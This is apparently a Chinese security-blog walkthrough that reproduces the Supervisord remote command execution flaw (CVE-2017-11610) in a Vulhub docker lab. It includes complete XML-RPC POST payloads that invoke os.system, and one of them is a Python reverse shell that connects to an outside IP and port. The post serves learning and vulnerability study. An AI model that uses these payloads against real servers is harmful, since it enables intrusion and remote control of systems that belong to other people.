学习Vulhub的Supervisord远程命令执行漏洞(CVE-2...

信息安全不简单鸭 2024-07-20 05:09:15

Supervisord是一款Python开发,用于管理后台应用(服务)的工具,其角色类似于Linux自带的Systemd。CVE-2017-11610的本质是一个不安全的对象引用+方法调用,十分类似Java中的反序列化漏洞。[1]Supervisord的控制实际上就是一个C/S以RPC协议的通信的过程,而RPC协议(远程过程调用协议),顾名思义就是C端通过RPC协议可以在S端执行某个函数,并得到返回结果。那么,如果C端执行了S端预料之外的函数(如os.system),那么就会导致漏洞的产生。

ailx10

网络安全优秀回答者

网络安全硕士

去咨询

前提:准备好docker环境,下载好vulhub,进入目录 ,开始复现漏洞

docker-compose build //可选docker-compose up -d

完成试验后,记得删除漏洞环境哦~~

docker-compose downdocker system prune -a -f //可选

简单访问一下,说明Supervisord 远程命令执行漏洞(CVE-2017-11610)环境搭建成功了

先来试一试创建文件

POST /RPC2 HTTP/1.1Host: 144.34.162.13:9001Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 213<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName><params><param><string>touch /tmp/success</string></param></params></methodCall>

发现成功创建文件

docker exec -it ec46af421051 /bin/bash

直接利用python代码反弹shell

POST /RPC2 HTTP/1.1Host: 144.34.162.13:9001Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 213<?xml version="1.0"?><methodCall><methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName><params><param><string>python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.137.58.6',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"</string></param></params></methodCall>

见证奇迹的时刻到了,反弹shell成功

参考^Supervisord 远程命令执行漏洞(CVE-2017-11610) https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html
0 阅读:0

信息安全不简单鸭

简介:感谢大家的关注